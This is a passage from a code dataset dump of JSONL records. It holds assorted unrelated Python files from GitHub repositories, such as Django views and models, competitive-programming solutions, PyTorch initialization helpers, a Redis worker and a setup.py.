Y_hat))\n\nsys.exit(0)\n","repo_name":"r9y9/nlp100","sub_path":"73.py","file_name":"73.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"5"} +{"seq_id":"23470178584","text":"from django.contrib import messages\nfrom django.shortcuts import render\nfrom django.shortcuts import redirect\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth import login\nfrom django.contrib.auth import logout\nfrom django.http import HttpResponseRedirect\n\nfrom users.models import Profile\n\nfrom apps.util import generalmodule \n\ndef user_block(request,user):\n profile=Profile.objects.filter(user=user).first()\n if not profile:\n return False;\n if profile.block:\n return False\n return True\n\ndef user_api(request,user):\n profile=Profile.objects.filter(user=user).first()\n if not profile:\n return False;\n if profile.api_client:\n return True\n return False\n\ndef user_login(request):\n if request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password')\n user = authenticate(username=username, password=password)\n if user:\n if user_api(request,user):\n context={\n 'error' :True,\n 'comment':'API пользователь не имеет доступ к Личному Кабинету',\n }\n return render(request, 'registration/login.html', context)\n\n if user_block(request,user):\n login(request, user)\n context={\n 'user' : user,\n 'login' :username,\n 'logout':'accounts/logout/',\n }\n return HttpResponseRedirect('/', context)\n else:\n context={\n 'error' :True,\n 'login' :username,\n 'comment':'Пользователь заблокирован',\n }\n return render(request, 'registration/login.html', context)\n else:\n context={\n 'error' :True,\n 'login' :username,\n 'comment':'Не верный логин или пароль',\n }\n return render(request, 'registration/login.html', context)\n else:\n if request.user.is_anonymous :\n context={\n 'error' :False,\n 'comment':'',\n }\n return render(request, 'registration/login.html', context)\n\n else:\n return redirect(\"/\")\n \n\ndef user_logout(request):\n logout(request)\n context={\n 'user' : '',\n 'logout':'accounts/logout/',\n }\n return HttpResponseRedirect('/', context)","repo_name":"Sabron/mfss","sub_path":"mfss/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"8452909262","text":"import math\nimport pandas as pd\nimport statistics\nimport parameter\n\n# Specify directory\ndf = pd.read_csv(parameter.Baseline_Textual.file)\n\n\n# Sums up all prices in list\ndef price_sum(df):\n price = 0\n for row in df.iterrows():\n price += row[1]['price_usd']\n total_price = price / len(df)\n return total_price\n\n\n# Calculate average price per collection\ndef average_price_collection(df):\n collection_name = ''\n collections = []\n prices = []\n collection_found = False\n for row in df.iterrows():\n collection_name = row[1][\"coll_name\"]\n for collection in collections:\n if collection == row[1][\"coll_name\"]:\n collection_found = True\n if not collection_found:\n collections.append(collection_name)\n df_filtered = df.loc[df['coll_name'] == collection_name]\n total_price = price_sum(df_filtered)\n prices.append(total_price)\n collection_found = False\n df_avgprice = pd.DataFrame(\n {'coll_name': collections,\n 'total_price': prices\n })\n return df_avgprice\n\n\n# Calculates error metrics for mean, median or mode\ndef error_metrics(df, method, metrics):\n differences = 0\n price_list = list(df[\"price_usd\"])\n if method == \"mean\":\n input_value = statistics.mean(price_list)\n elif method == \"median\":\n input_value = statistics.median(price_list)\n elif method == \"mode\":\n input_value = statistics.mode(price_list)\n if metrics == \"mae\":\n for price in price_list:\n difference = abs(price - input_value)\n differences += difference\n output_value = (differences / len(price_list))\n elif metrics == \"rmse\":\n for price in price_list:\n difference = (price - input_value)**2\n differences += difference\n output_value = math.sqrt(differences / len(price_list))\n elif metrics == \"mape\":\n for price in price_list:\n difference = abs((price - input_value)/price)\n differences += difference\n output_value = 100 * (differences / len(price_list))\n return output_value\n\n\n\n# Calculates error metrics for average price per collection\ndef error_metrics_coll(df, df_avgprice):\n differences_mae = 0\n differences_rmse = 0\n differences_mape = 0\n for row in df.iterrows():\n for coll in df_avgprice.iterrows():\n coll_name = row[1][\"coll_name\"]\n coll_name_coll = coll[1][\"coll_name\"]\n paid_price = row[1][\"price_usd\"]\n if coll_name == coll_name_coll:\n avg_price = coll[1][\"total_price\"]\n difference_mae = abs(paid_price - avg_price)\n differences_mae += difference_mae\n difference_rmse = (paid_price - avg_price)**2\n differences_rmse += difference_rmse\n difference_mape = abs(((paid_price - avg_price) / paid_price))\n differences_mape += difference_mape\n mae_value = (differences_mae / len(df))\n rmse_value = math.sqrt((differences_rmse / len(df)))\n mape_value = 100 * (differences_mape / len(df))\n print(mae_value)\n print(rmse_value)\n print(mape_value)\n\n\n# df_avgprice = average_price_collection(df)\n# error_metrics_coll(df, df_avgprice)\nprint(error_metrics(df, \"mode\", \"mae\"))\nprint(error_metrics(df, \"mode\", \"rmse\"))\nprint(error_metrics(df, \"mode\", \"mape\"))\n\n\n\n","repo_name":"BuecAle/NftPricePrediction","sub_path":"model/Baseline_Textual.py","file_name":"Baseline_Textual.py","file_ext":"py","file_size_in_byte":3415,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"73628213272","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport argparse\nimport redis\nimport rq\n\n# Propios...\nimport settings\n\n\n###############################################################################\n\ndef start_worker( queue_name, redis_url, with_scheduler=False ):\n\n redis_conn = redis.from_url( redis_url )\n\n with rq.Connection( redis_conn ):\n\n worker = rq.Worker( queues = [queue_name],\n connection = redis_conn )\n\n worker.work( with_scheduler=with_scheduler )\n\n\n###############################################################################\n#\n#\n#\n###############################################################################\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser( formatter_class = argparse.RawTextHelpFormatter,\n description = 'Create Python RQ worker' )\n\n parser.add_argument( '-S', '--with-scheduler',\n action = \"store_true\",\n help = 'Enable scheduler for worker' )\n\n parser.add_argument( '-u', '--redis-url',\n default = settings.REDIS_URL,\n type = str,\n help = 'Redis URL (default: %s)' % settings.REDIS_URL)\n\n parser.add_argument( '-q', '--queue-name',\n default = settings.RQ_QUEUE_NAME,\n type = str,\n help = 'Redis Queue name (default: %s)' %\n settings.RQ_QUEUE_NAME)\n\n args = parser.parse_args()\n\n start_worker( queue_name = args.queue_name,\n redis_url = args.redis_url,\n with_scheduler = args.with_scheduler )\n","repo_name":"aoshiken/hashnist","sub_path":"web/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"71692245911","text":"import sys\nimport math\n\ns = list(input())\n\nans = 0\nfor e in s:\n if ord(e) >= ord('a') and ord(e) <= ord('z'):\n ans += ord(e) - ord('a') + 1\n else:\n ans += ord(e) - 38\n\np = [ 1 for i in range(2000)]\n\nfor i in range(2, int(math.sqrt(2000))):\n if p[i] == 0:\n continue\n for j in range(2, 2000):\n if i*j >= 2000:\n break\n p[i*j] = 0\n\nif False:\n for i in range(2000):\n if p[i]:\n print(i, end = ' ')\ndef makePrime():\n array = [ True for i in range(n+1)]\n\n\nif p[ans]:\n print(\"It is a prime word.\")\nelse:\n print(\"It is not a prime word.\")\n","repo_name":"neguri/dojo","sub_path":"boj/2153.py","file_name":"2153.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"1643290022","text":"from django.db import models\nfrom django.core.validators import MaxValueValidator\nfrom django.shortcuts import get_object_or_404\nfrom django.db.models import Sum\nfrom citizens.models import Citizen\nfrom home.models import AppSettings\nfrom home.letter_to_number_conv import letter_to_number\n\n\n# Create your models here.\nclass Company(models.Model):\n\n class Meta:\n verbose_name_plural = 'Companies'\n\n owner = models.ForeignKey(Citizen, on_delete=models.CASCADE)\n name = models.CharField(max_length=254, blank=True, null=True)\n display_name = models.CharField(max_length=254, blank=True)\n warehouse = models.BooleanField(default=False)\n registration_number = models.PositiveIntegerField(\n blank=True,\n primary_key=True,\n default=1)\n invoice_prefix = models.CharField(max_length=2, blank=False, unique=True)\n manufacturer_code = models.IntegerField(default=0, blank=True)\n street_adress_1 = models.IntegerField(default=0, blank=True)\n street_adress_2 = models.CharField(max_length=100, blank=True)\n city = models.CharField(max_length=100, blank=True)\n post_code = models.CharField(max_length=6, blank=True)\n country = models.CharField(max_length=100, blank=True)\n employee_count = models.IntegerField(blank=True)\n total_salaries_cost = models.DecimalField(\n max_digits=8,\n decimal_places=2,\n blank=True,\n null=True)\n total_bruto_salaries = models.DecimalField(\n max_digits=8,\n decimal_places=2,\n blank=True,\n null=True)\n total_salary_vsaoi_dd = models.DecimalField(\n max_digits=8,\n decimal_places=2,\n blank=True,\n null=True)\n total_salary_vsaoi_dn = models.DecimalField(\n max_digits=8,\n decimal_places=2,\n blank=True,\n null=True)\n total_salary_iin = models.DecimalField(\n max_digits=8,\n decimal_places=2,\n blank=True,\n null=True)\n total_salary_netto = models.DecimalField(\n max_digits=8,\n decimal_places=2,\n blank=True,\n null=True)\n\n def __str__(self):\n return self.name\n\n def get_display_name(self):\n return self.display_name\n\n def get_house_number(self):\n return self.street_adress_1\n\n # Signal sent to companies-signals\n def salaries_total(self):\n \"\"\"\n Update total salaries each time a employee is added,\n or his salary has been changed.\n \"\"\"\n self.total_bruto_salaries = self.employer.aggregate(\n Sum('salary_brutto'))['salary_brutto__sum'] or 0\n self.total_salary_vsaoi_dd = self.employer.aggregate(\n Sum('salary_vsaoi_dd'))['salary_vsaoi_dd__sum'] or 0\n self.total_salary_vsaoi_dn = self.employer.aggregate(\n Sum('salary_vsaoi_dn'))['salary_vsaoi_dn__sum'] or 0\n self.total_salary_iin = self.employer.aggregate(\n Sum('salary_iin'))['salary_iin__sum'] or 0\n self.total_salary_netto = self.employer.aggregate(\n Sum('salary_netto'))['salary_netto__sum'] or 0\n super().save()\n\n def save(self, *args, **kwargs):\n \"\"\"\n Override the original save method to set the company name\n if it hasn't been set already.\n \"\"\"\n if self.registration_number == 1:\n company_count = Company.objects.all().count()\n self.registration_number = f\"475010\" + str(\n company_count + 1).zfill(4)\n self.manufacturer_code = letter_to_number(self.display_name)\n self.name = self.display_name.replace(\" \", \"_\").lower()\n self.employee_count = Employees.objects.filter(company=self.registration_number).count()\n if self.employee_count > 0:\n self.total_salaries_cost = self.total_bruto_salaries + self.total_salary_vsaoi_dd\n else:\n self.total_salaries_cost = 0\n super().save(*args, **kwargs)\n\n\nclass Employees(models.Model):\n company = models.ForeignKey(\n Company,\n null=True,\n blank=False,\n on_delete=models.CASCADE,\n related_name='employer')\n name = models.ForeignKey(\n Citizen,\n null=True,\n blank=False,\n on_delete=models.CASCADE,\n related_name='employee')\n role = models.CharField(max_length=254, blank=True, null=True)\n salary_brutto = models.DecimalField(\n max_digits=8, decimal_places=2, blank=True, null=True)\n salary_vsaoi_dd = models.DecimalField(\n max_digits=8, decimal_places=2, blank=True, null=True)\n salary_vsaoi_dn = models.DecimalField(\n max_digits=8, decimal_places=2, blank=True, null=True)\n salary_iin = models.DecimalField(\n max_digits=8, decimal_places=2, blank=True, null=True)\n salary_netto = models.DecimalField(\n max_digits=8, decimal_places=2, blank=True, null=True)\n\n def save(self, *args, **kwargs):\n \"\"\"\n Override the original save method to set the salary levels\n if it hasn't been set already.\n \"\"\"\n latest_settings = get_object_or_404(AppSettings, valid=True)\n self.salary_vsaoi_dd = (self.salary_brutto / 100) * latest_settings.vsaoi_dd\n self.salary_vsaoi_dn = (self.salary_brutto / 100) * latest_settings.vsaoi_dn\n iin_calc = (\n (self.salary_brutto - self.salary_vsaoi_dn - latest_settings.no_iin_level) / 100) * latest_settings.iin_rate\n if iin_calc > 0:\n self.salary_iin = ((\n self.salary_brutto - self.salary_vsaoi_dn - latest_settings.no_iin_level) / 100) * latest_settings.iin_rate\n else:\n self.salary_iin = 0\n self.salary_netto = (\n self.salary_brutto - self.salary_vsaoi_dn - self.salary_iin)\n super().save(*args, **kwargs)\n","repo_name":"MarisKX/Warehouse_v5","sub_path":"companies/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25745286333","text":"#本文件是将UMLS中的文件的词条、词条类型、词条来源挑选出来的文件\n\ndef getword(path):\n with open(path, 'r', encoding='utf-8') as f:\n data=[]\n title=[]\n for line in f:\n # 读取一行后,末尾一般会有一个\\n,所以用strip函数去掉\n line = line.strip('\\n').split('\\t') \n\n data.append(line[1])\n title.append(line[0])\n #此时data中的每个元素就是每行的第二列\n #抽出每行的单词\n data1=[]#将每行单词都排起来\n data2=[]#type\n data3=[]#出处\n for i in range(0,len(data)):\n line0=data[i]\n data1.append([])\n data2.append([])\n data3.append([])\n word=''\n j=0\n b=1\n while(j<len(line0)):\n if(b==1 and line0[j]=='#'and line0[j+1]=='#'and line0[j+2]=='#'):\n data1[i].append(word)\n j+=3\n b=2\n word=''\n continue\n if(b==2 and line0[j]=='#'and line0[j+1]=='#'and line0[j+2]=='#'):\n data2[i].append(word)\n j+=3\n b=3\n word=''\n continue\n if(b==3 and line0[j]==' 'and line0[j+1]=='['and line0[j+2]=='S'and line0[j+3]=='E'and line0[j+4]=='P'and line0[j+5]==']'and line0[j+6]==' '):\n data3[i].append(word)\n j+=7\n b=1\n word=''\n continue\n if(b==3 and line0[j]=='\\t'):\n data2[i].append(word)\n j=len(line0)\n b=1\n word=''\n continue\n else:\n word+=line0[j] \n j+=1 \n return title,data1,data2,data3 #title是每行的title的list,对应的,data1是每行的英文单词的集合的list,data2是term type,data3是出处\n\n","repo_name":"Huobozun/Translate","sub_path":"codeall_translate/tici.py","file_name":"tici.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"31252200626","text":"#!/usr/bin/env python3\nimport sys\n\nYES = \"Yes\" # type: str\nNO = \"No\" # type: str\n\n\ndef solve(S: int):\n S = str(S)\n c = [0]*10\n for si in S:\n c[int(si)]+=1\n \n if len(S) >=3:\n for p in range(112,1000, 8):\n p = str(p)\n p100 = int(p[0])\n p10 = int(p[1])\n p1 = int(p[2])\n\n c[p100]-=1\n c[p10]-=1\n c[p1]-=1\n\n if (0<= c[p100]) and (0<= c[p10]) and (0<= c[p1]):\n print(YES)\n return\n c[p100]+=1\n c[p10]+=1\n c[p1]+=1\n elif len(S) == 2:\n for p in range(16,104, 8):\n p = str(p)\n p10 = int(p[0])\n p1 = int(p[1])\n c[p10]-=1\n c[p1]-=1\n\n if (0<= c[p10]) and (0<= c[p1]):\n print(YES)\n return\n c[p10]+=1\n c[p1]+=1\n elif len(S) == 1:\n if int(S) == 8:\n print(YES)\n return\n print(NO)\n\n\n\n\n return\n\n\n# Generated by 1.1.7.1 https://github.com/kyuridenamida/atcoder-tools (tips: You use the default template now. You can remove this line by using your custom template)\ndef main():\n def iterate_tokens():\n for line in sys.stdin:\n for word in line.split():\n yield word\n tokens = iterate_tokens()\n S = int(next(tokens)) # type: int\n solve(S)\n\nif __name__ == '__main__':\n main()\n","repo_name":"Hashizu/atcoder_work","sub_path":"abc181/D/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"832249551","text":"\nfrom pylab import plot, grid, legend, title, xlabel, ylabel, loadtxt\n\ndata = loadtxt(\"./Periodetid.txt\")\n\ntid = data[0,0]\nleng = data[1,0]\n\ntid2 = data[0,1]\nleng2 = data[1,1]\n\ntid3 = data[0,2]\nleng3 = data[1,2]\n\nplot(leng,tid,'bo', label = str(tid) + ' sek , 10 cm')\nplot(leng2,tid2,'ro', label = str(tid2) + ' sek , 20 cm')\nplot(leng3,tid3,'yo', label = str(tid3) + ' sek , 40 cm')\n\ngrid(1)\nxlabel(\"Lengde på tråd\")\nylabel(\"Tid\")\ntitle(\"Periode tid med et lodd\")\nlegend()\n\n","repo_name":"art-is-0/physics-repo","sub_path":"Math/Periode tid.py","file_name":"Periode tid.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36855099317","text":"from django.shortcuts import render\nfrom django import template\nfrom django import templatetags\nregister = template.Library()\n\n# Create your views here.\nproducts = [\n {'name': 'Lenovo', 'price': '500', 'img': ['lenovo.jpg', 'lenovo2.jpg'], 'discount': True},\n {'name': 'Acer', 'price': '600', 'img': 'acer.jpg'},\n {'name': 'Asus', 'price': '700', 'img': 'asus.jpg'},\n {'name': 'Samsung', 'price': '900', 'img': 'samsung.jpeg'},\n {'name': 'HP', 'price': '700', 'img': 'HP.jpg'},\n {'name': 'Oracl', 'price': '700', 'img': 'Oracl.jpg'},\n]\n\n\ndef startpage(request):\n context = {'products': products}\n return render(\n request,\n 'index.html',\n context\n )\n\ndef product(request, name,):\n prod = {}\n\n for the_prod in products:\n if the_prod['name'].lower() == name.lower():\n prod = the_prod\n\n # s = list(filter(lambda prod: prod['name'] == name, products))\n # if len(s) > 0:\n # prod = s[0]\n\n context = {'product': prod}\n return render(\n request,\n 'tool1.html',\n context\n )\n","repo_name":"HommerSimson/456","sub_path":"eshop/shop/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71202925273","text":"import torch\nimport torch.nn as nn\n\ndef get_layer_statistics(layer, target_param_str, target_fn):\n stastics = None\n target_param = getattr(layer, target_param_str, None)\n\n if target_param is not None:\n stastics = target_fn(target_param.data)\n\n return stastics\n\ndef collect_statistics(model, target_instance, target_param_str, target_fn=torch.mean):\n stats = {}\n for name, module in model.named_modules():\n if isinstance(module, target_instance):\n stats[name] = get_layer_statistics(module, target_param_str, target_fn)\n return stats\n\ndef initialize_weights(layer, target_param_str, init_fn=torch.nn.init.xavier_uniform_):\n target_param = getattr(layer, target_param_str, None)\n if target_param is not None:\n init_fn(target_param)\n\ndef initialize_custom_weights(layer, target_param_str, init_fn):\n target_param = getattr(layer, target_param_str, None)\n if target_param is not None:\n # Apply the custom initialization function and create a new Parameter\n initialized_param = init_fn(target_param.shape)\n setattr(layer, target_param_str, torch.nn.Parameter(initialized_param))\n\ndef apply_initialization(model, target_instance, target_param_str, init_fn=torch.nn.init.xavier_uniform_, custom=False):\n for name, module in model.named_modules():\n if isinstance(module, target_instance):\n if custom:\n initialize_custom_weights(module, target_param_str, init_fn)\n else:\n initialize_weights(module, target_param_str, init_fn)\n\ndef generate_log_resolution_channels(n_feature, max_feature, min_feature=64, reverse=False):\n\n channel_sizes = []\n\n for i in range(n_feature):\n feature = max_feature // 2**i\n if feature < min_feature:\n feature = min_feature\n channel_sizes.append(feature)\n\n if reverse:\n channel_sizes = list(reversed(channel_sizes))\n\n return channel_sizes\n\n","repo_name":"crimson206/DeepLearningDevelopment","sub_path":"src/CrimsonDeepLearning/utils/initializations.py","file_name":"initializations.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25177096467","text":"# Prompt the user to enter the value of N\nN = int(input(\"Enter a positive integer N: \"))\n\n# Initialize the sum to 0\ntotal = 0\n\n# Calculate the sum of the first N natural numbers\nfor i in range(1, N + 1):\n total += i\n\n# Display the result\nprint(f\"The sum of the first {N} natural numbers is: {total}\")\n","repo_name":"yotataki/30tasksYotam","sub_path":"task15.py","file_name":"task15.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15304694245","text":"# You are given two linked lists representing two non-negative numbers. The digits are stored in reverse order and each of their nodes contain a single digit. Add the two numbers and return it as a linked list.\n\n# Input: (2 -> 4 -> 3) + (5 -> 6 -> 4)\n# Output: 7 -> 0 -> 8\n# 342 + 465 = 807\n# Make sure there are no trailing zeros in the output list\n# So, 7 -> 0 -> 8 -> 0 is not a valid response even though the value is still 807.\n\n# Definition for singly-linked list.\n# class ListNode:\n#\tdef __init__(self, x):\n#\t\tself.val = x\n#\t\tself.next = None\n\nclass Solution:\n\t# @param A : head node of linked list\n\t# @param B : head node of linked list\n\t# @return the head node in the linked list\n def addTwoNumbers(self, A, B):\n tempHead = ListNode(0)\n curr = tempHead\n carry = 0\n \n while A != None or B != None or carry != 0:\n if A:\n val1 = A.val\n \n else:\n val1 = 0\n \n if B:\n val2 = B.val\n \n else:\n val2 = 0\n \n Sum = val1 + val2 + carry\n carry = Sum//10\n Sum = Sum%10\n \n curr.next = ListNode(Sum)\n curr = curr.next\n \n if A:\n A = A.next\n \n else:\n A = None\n \n if B:\n B = B.next\n \n else:\n B = None\n \n return tempHead.next","repo_name":"Ramsaidhanumuri/Repo_DSA","sub_path":"InterviewBit/Linked Lists/List math/Add Two Numbers as Lists.py","file_name":"Add Two Numbers as Lists.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"46344434","text":"\nimport threading, time\nfrom cryptocompy import price\nfrom requests.exceptions import ConnectionError\n\n\nclass PricePoller:\n def __init__(self, config):\n self._thread_shutdown = False\n self._config = config\n self._prices = None\n self._thread = None\n\n def eth_price_poller(self):\n currencies = [\"USD\", \"GBP\", \"EUR\", 'BTC', 'AUD', 'CHF', 'JPY', 'RUB', 'CNY', 'SGD']\n while True:\n # 5 minutes seems responsible.\n sleep_time=300\n try:\n self._prices = price.get_current_price(\"ETH\", currencies) \n sleep_time = 300\n except ConnectionError:\n self._prices = None\n # Retry faster to anticipate the connection coming back online\n sleep_time = 10 \n for i in range (sleep_time):\n time.sleep(1)\n if self._thread_shutdown:\n return\n\n def start_thread(self):\n self._thread = threading.Thread(target=self.eth_price_poller)\n self._thread.start()\n\n def stop_thread(self):\n if self._thread == None:\n return\n self._thread_shutdown = True\n self._thread.join()\n\n @property\n def eth_price(self):\n return self._prices['ETH'][self._config.displayed_currency]\n\n @property\n def eth_prices(self):\n return self._prices['ETH']\n\n","repo_name":"carver/shadowlands-core","sub_path":"shadowlands/price_poller.py","file_name":"price_poller.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"21076855504","text":"\"\"\"\nhttps://www.acmicpc.net/problem/9935\n\"\"\"\nimport sys\ninput = sys.stdin.readline\n\nstring = input().rstrip()\nbomb = input().rstrip()\nn = len(bomb)\n\nstack = [] # 배열이 아닌 string을 쓰면 시간 초과\nfor s in string:\n stack.append(s)\n if len(stack) >= n and \"\".join(stack[-n:]) == bomb:\n for _ in range(n): # pop 이 아닌 slicing을 쓰면 시간 초과\n stack.pop()\nif len(stack) == 0:\n print(\"FRULA\")\nelse:\n print(\"\".join(stack))\n","repo_name":"0general/coding-test","sub_path":"baekjoon/문자열 폭발.py","file_name":"문자열 폭발.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"8334621312","text":"n=int(input())\nprimelst=[]\ndef isprime(n):\n if n==1:\n return False\n for i in range(2,n):\n if n%i==0:\n return False\n return True\ndef findprime(n):\n for i in range(2,n):\n if isprime(i):\n primelst.append(i)\n return primelst\n\nlst=findprime(10000)\nprint(lst[n-1])\n","repo_name":"leejamesss/Computation-Basis-C","sub_path":"hw07/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"25130510654","text":"import os\nimport operator\nimport pickle\nfrom datetime import datetime, timedelta\n\n\ndef parse_timestamp(filename):\n return (datetime.strptime(filename.split(\".\")[0], \"%Y_%m_%d_%H_%M_%S\") - timedelta(hours=2)).isoformat()\n\ndef map_filename(filename):\n with open(\"data_analysis/raw/{}\".format(filename), \"rb\") as f:\n pf = pickle.load(f)\n return {\n \"created_at\": parse_timestamp(filename),\n \"graph\": pf.graph,\n \"offers\": pf.offers,\n \"results\": pf.results,\n \"currencies\": pf.currencies\n }\n\n\ndata = [map_filename(x) for x in os.listdir(\"data_analysis/raw\") if \"pickle\" in x]\nsorted_data = sorted(data, key=operator.itemgetter(\"created_at\"))\nwith open(\"data_analysis/conversion.pickle\", \"wb\") as f:\n pickle.dump(sorted_data, f)\n","repo_name":"ren-/poe-currency-flip-planner","sub_path":"data_analysis/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"34510559397","text":"# based on https://github.com/pypa/sampleproject/blob/master/setup.py\n# see http://packaging.python.org/en/latest/tutorial.html#creating-your-own-project\n\nfrom setuptools import setup, find_packages\nfrom setuptools.command.install import install as stdinstall\nimport codecs\nimport os\nimport re\nimport sys\n\n\ndef find_version(*file_paths):\n here = os.path.abspath(os.path.dirname(__file__))\n with codecs.open(os.path.join(here, *file_paths), 'r', 'latin1') as f:\n version_file = f.read()\n # The version line must have the form\n # __version__ = 'ver'\n version_match = re.search(r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\",\n version_file, re.M)\n if version_match:\n return version_match.group(1)\n raise RuntimeError(\"Unable to find version string.\")\n\ndef get_file_contents(filename):\n with codecs.open(filename, encoding='utf-8') as f:\n contents = f.read()\n return contents\n\n\npackage_name = \"typecheck-decorator\"\n\n\nclass install_with_test(stdinstall):\n def run(self):\n stdinstall.run(self) # normal install\n ##pip/setuptools makes this unbuffering unhelpful:\n #sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 1) # make line-buffered\n #sys.stderr = os.fdopen(sys.stderr.fileno(), 'w', 1) # make line-buffered\n #import typecheck.test_typecheck_decorator # execute post-install test (during beta only)\n\n\nsetup(\n # setup customization:\n cmdclass={'install': install_with_test},\n\n # basic information:\n name=package_name,\n version=find_version('typecheck', '__init__.py'),\n description=\"flexible explicit run-time type checking of function arguments (Python3-only)\",\n long_description=get_file_contents(\"README.rst\"),\n\n # The project URL:\n url='http://github.com/prechelt/' + package_name,\n\n # Author details:\n author='Dmitry Dvoinikov, Lutz Prechelt',\n author_email='prechelt@inf.fu-berlin.de',\n\n # Classification:\n license='BSD License',\n classifiers=[\n 'License :: OSI Approved :: BSD License',\n\n # How mature is this project? Common values are\n # 3 - Alpha\n # 4 - Beta\n # 5 - Production/Stable\n 'Development Status :: 5 - Production/Stable',\n\n 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Quality Assurance',\n 'Topic :: Software Development :: Documentation',\n\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n ],\n keywords='type-checking',\n\n # You can just specify the packages manually here if your project is\n # simple. Or you can use find_packages.\n packages=find_packages(exclude=[\"contrib\", \"docs\", \"tests*\"]),\n\n # List run-time dependencies here. These will be installed by pip when your\n # project is installed.\n install_requires = ['typing;python_version<\"3.5\"'],\n\n # If there are data files included in your packages that need to be\n # installed, specify them here. If using Python 2.6 or less, then these\n # have to be included in MANIFEST.in as well.\n package_data={\n # 'typecheck': ['package_data.dat'],\n },\n\n # Although 'package_data' is the preferred approach, in some case you may\n # need to place data files outside of your packages.\n # see http://docs.python.org/3.4/distutils/setupscript.html#installing-additional-files\n # In this case, 'data_file' will be installed into '<sys.prefix>/my_data'\n ###data_files=[('my_data', ['data/data_file'])],\n\n # To provide executable scripts, use entry points in preference to the\n # \"scripts\" keyword. Entry points provide cross-platform support and allow\n # pip to create the appropriate form of executable for the target platform.\n ### entry_points={\n # 'console_scripts': [\n # 'sample=sample:main',\n # ],\n # },\n)","repo_name":"prechelt/typecheck-decorator","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3969,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"29"} +{"seq_id":"41196444104","text":"PROGRESS_STATES = [\n (0, \"Abysmal\"),\n (1, \"Comically behind\"),\n (25, \"Very behind\"),\n (50, \"Behind\"),\n (60, \"A Bit Behind\"),\n (75, \"Doing OK\"),\n (90, \"On Track\"),\n (100, \"Ahead of the game\"),\n]\n\n\ndef get_status_from_percentage(percentage):\n final_status = \"\"\n for base_percentage, status in PROGRESS_STATES:\n if percentage >= base_percentage:\n final_status = status\n return final_status\n\n\n\n","repo_name":"theletterd/yearly_goals","sub_path":"stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"33326104067","text":"from qtpy import QtGui\nfrom qtpy.QtWidgets import QMessageBox\n\n\ndef info_box(value, title='标注工具[测试版本v1.0.0]:BKVISION', widget=None, delay=1.5):\n\n \"\"\"\n 消息盒子\n :param value: 显示的信息内容\n :param title: 弹窗的标题\n :param widget: 父窗口\n :param delay: 弹窗默认关闭时间, 单位:秒\n \"\"\"\n msgBox = QMessageBox(parent=widget)\n # 设置默认 ICON\n # msgBox.setWindowIcon(QtGui.QIcon('./default.ico'))\n\n # 设置信息内容使用字体\n font = QtGui.QFont()\n font.setFamily(\"微软雅黑\")\n font.setPointSize(10)\n font.setBold(True)\n font.setWeight(30)\n msgBox.setFont(font)\n\n msgBox.setWindowTitle(title)\n msgBox.setText(value)\n msgBox.setStandardButtons(QMessageBox.Ok)\n msgBox.setDefaultButton(QMessageBox.Ok)\n # 设置 QMessageBox 自动关闭时长\n msgBox.button(QMessageBox.Ok).animateClick(1000 * delay)\n 